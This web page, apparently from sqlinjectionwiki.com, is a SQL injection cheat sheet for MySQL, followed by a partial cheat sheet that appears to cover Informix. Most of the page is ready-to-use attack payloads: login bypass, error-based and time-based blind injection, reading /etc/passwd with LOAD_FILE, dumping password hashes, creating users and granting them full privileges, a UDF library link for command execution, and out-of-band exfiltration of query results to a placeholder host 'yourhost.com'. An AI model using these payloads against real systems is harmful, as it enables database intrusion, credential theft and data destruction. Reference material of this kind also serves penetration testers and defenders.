|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| Initial Exploitation  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   |  |  | | --- | --- | | **Version** | SELECT @@VERSION   SELECT version() | | **Current User** | SELECT user()  SELECT system\_user() | | **Current Database** | SELECT database() | |
| Quick Detection  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   |  |  | | --- | --- | | **Error Based SQLi** | For integer inputs:   (select 1 and row(1,1)>(select count(\*),concat(CONCAT(@@VERSION),0x3a,floor(rand()\*2))x from (select 1 union select 2)a group by x limit 1))   For string inputs:   '+(select 1 and row(1,1)>(select count(\*),concat(CONCAT(@@VERSION),0x3a,floor(rand()\*2))x from (select 1 union select 2)a group by x limit 1))+'   The attacks above should throw 'duplicate entry' errors. | | **Clear SQLi Tests** | These tests are simply good for boolean sql injection and silent attacks.   product.php?id=4  product.php?id=5-1  product.php?id=4 OR 1=1  product.php?id=-1 OR 17-7=10 | |
| Blind SQL Injection (Time Based)  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   |  |  | | --- | --- | | **###** | Use this when you cannot see any difference at output. Second do not use more than 30 seconds, because database API connection timeout could be easily reached. | | **###** | This is just like sleep, wait for spesified time. CPU safe way to make database wait.   SLEEP(25)--  SELECT BENCHMARK(1000000,MD5('A')); | | **Real World Samples** | ProductID=1 OR SLEEP(25)=0 LIMIT 1--   ProductID=1) OR SLEEP(25)=0 LIMIT 1--   ProductID=1' OR SLEEP(25)=0 LIMIT 1--   ProductID=1') OR SLEEP(25)=0 LIMIT 1--   ProductID=1)) OR SLEEP(25)=0 LIMIT 1--   ProductID=SELECT SLEEP(25)-- | |
| Line Comments  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  DROP sampletable;--  DROP sampletable;#  Username : admin'--                  : admin' or '1'='1'--  *SELECT \* FROM members WHERE $username = 'admin'--' AND $password = 'password'*  This is going to **log you as admin user**, because rest of the SQL query will be ignored. |
| Inline Comments  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  **Comments out rest of the query by not closing them**or you can use for **bypassing blacklisting**, removing spaces, obfuscating and determining database versions.   * DROP/\*comment\*/sampletable * DR/\*\*/OP/\*bypass blacklisting\*/sampletable |
| If Statements  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.  **MySQL If Statement**   * IF ***condition true-part***ELSE ***false-part*** * SELECT IF (1=1, ‘true’, ‘false’)   **If Statement SQL Injection Attack Samples**  SELECT IF(user()='root@localhost','true','false') |
| String without Quotes  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  *SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))*  This will return ‘**KLM**’. |
| Bulk Insert  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  Insert a file content to a table.  SELECT \* FROM mytable INTO dumpfile '/tmp/somefile'; -- |
| Load File  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  ' UNION ALL SELECT LOAD\_FILE('/etc/passwd') --  SELECT LOAD\_FILE(0x633A5C626F6F742E696E69)  This will show the content of **c:\boot.ini** |
| Command Execution  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  Possible with using **UDF*(user defined functions)***.  <http://packetstormsecurity.org/libraries/lib_mysqludf_sys_0.0.3.tar.gz> |
| Create Users  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  CREATE USER *username* IDENTIFIED BY '*password*'; -- |
| Drop Users  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  DROP USER *username*; -- |
| Make User DBA  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  GRANT ALL PRIVILEGES ON \*.\* TO *username*@'%'; |
| List Users  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   * SELECT \* FROM 'user' WHERE 1 LIMIT 0,30 * SELECT \* FROM mysql.user WHERE 1 LIMIT 1,1 * SELECT \* FROM mysql.user |
| List Passwords  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   * SELECT user, password FROM mysql.user * SELECT user, password FROM mysql.user LIMIT 1,1 * SELECT password FROM mysql.user WHERE user = 'root' |
| List Databases  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   * SELECT schema\_name FROM information\_schema.schemata; * SELECT schema\_name FROM information\_schema.schemata LIMIT 1,1; |
| Privileges  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   * SELECT Super\_priv FROM mysql.user WHERE user=(SELECT user) LIMIT 1,1-- * SELECT Super\_priv FROM mysql.user WHERE user= ‘root’ LIMIT 1,1-- |
| Getting user defined tables  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  SELECT table\_name FROM information\_schema.tables WHERE table\_schema = '*tblUsers*'  *tblUsers -> tablename* |
| Getting Column Names  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  SELECT table\_name, column\_name FROM information\_schema.columns WHERE table\_schema = '*tblUsers*’  *tblUsers -> tablename*  SELECT table\_schema, table\_name FROM information\_schema.columns WHERE column\_name = '*username*';  *find table which have a column called 'username'* |
| Default Databases  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   * information\_schema (>= mysql 5.0) * mysql |
| Path of DB files  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)   * SELECT @@datadir * C:\AppServ\MySQL\data\ |
| Time Based SQLi Exploitation  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  ?vulnerableParam=-99 OR IF((ASCII(MID(({**INJECTON**}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1--  ***{INJECTION}****= You want to run the query.*  *If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.* |
| Out of Band Channel  [Back to top](http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/)  ?vulnerableParam=-99 OR (SELECT LOAD\_FILE(concat('\\\\',(**{INJECTION}**), 'yourhost.com\\'))) Makes a NBNS query request/DNS resolution request to yourhost.com  ?vulnerableParam=-99 OR (SELECT (**{INJECTION}**) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt') Writes data to your shared folder/file  ***{INJECTION}****= You want to run the query.* |

|  |  |
| --- | --- |
| Version | SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘os’) FROM systables WHERE tabid = 1; — T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix |
| Comments | select 1 FROM systables WHERE tabid = 1; — comment |
| Current User | SELECT USER FROM systables WHERE tabid = 1; select CURRENT\_ROLE FROM systables WHERE tabid = 1; |
| List Users | select username, usertype, password from sysusers; |
| List Password Hashes | TODO |
| List Privileges | select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; — which procedures are accessible by which users |
| List DBA Accounts | TODO |
| Current Database | SELECT DBSERVERNAME FROM systables where tabid = 1; — server name |
| List Databases | select name, owner from sysdatabases; |
| List Columns | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; |
| List Tables | select tabname, owner FROM systables; select tabname, viewtext FROM sysviews  join systables on systables.tabid = sysviews.tabid; |
| List Stored Procedures | select procname, owner FROM sysprocedures; |
| Find Tables From Column Name | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’; |
| Select Nth Row | select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row |
| Select Nth Char | SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’ |
| Bitwise AND | select bitand(6, 1) from systables where tabid = 1; — returns 0 select bitand(6, 2) from systables where tabid = 1; — returns 2 |
| ASCII Value -> Char | TODO |
| Char -> ASCII Value | select ascii(‘A’) from systables where tabid = 1; |
| Casting | select cast(’123′ as integer) from systables where tabid = 1; select cast(1 as char) from systables where tabid = 1; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’ SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’ |
| String Length | SELECT tabname, length(tabname), char\_length(tabname), octet\_length(tabname) from systables; |
| If Statement | TODO |
| Case Statement | select tabid, case when tabid>10 then “High” else ‘Low’ end from systables; |
| Avoiding Quotes | TODO |
| Time Delay | TODO |
| Make DNS Requests | TODO |
| Command Execution | TODO |
| Local File Access | TODO |
| Hostname, IP Address | SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname |
| Location of DB files | TODO |
| Default/System Databases | These are the system databases: sysmaster sysadmin\* sysuser\* sysutils\* |